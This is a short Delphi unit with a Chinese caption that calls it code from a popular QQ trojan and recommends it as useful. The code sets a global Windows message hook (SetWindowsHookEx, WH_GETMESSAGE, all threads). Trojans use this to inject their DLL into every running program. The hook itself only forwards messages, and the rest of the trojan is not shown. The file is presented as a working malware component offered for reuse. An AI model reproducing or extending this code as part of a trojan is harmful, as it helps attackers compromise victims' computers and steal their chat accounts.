alljmphook.pas

这是目前很流行的QQ木马 的代码 现在 这个很使用的

unit AllJmpHook;

interface

uses Windows,tonghan,AllVarUnit;

function JmpHookOn(): Bool; // 插入跳转钩子
function JmpHookOff(): Bool;

implementation

var hJmpHook: THandle;

function JmpHookPro(iCode: Integer; wParam: WPARAM; lParam: LPARAM): LRESULT; stdcall;
begin
  Result := CallNextHookEx(hJmpHook, iCode, wParam, lParam);
end;

function JmpHookOn(): Bool;
begin
  hJmpHook := SetWindowsHookEx(WH_GETMESSAGE, @JmpHookPro, HInstance, 0);
  Result := (hJmpHook <> 0);
end;

function JmpHookOff(): Bool;
begin
  Result := UnHookWindowsHookEx(hJmpHook);
end;

end.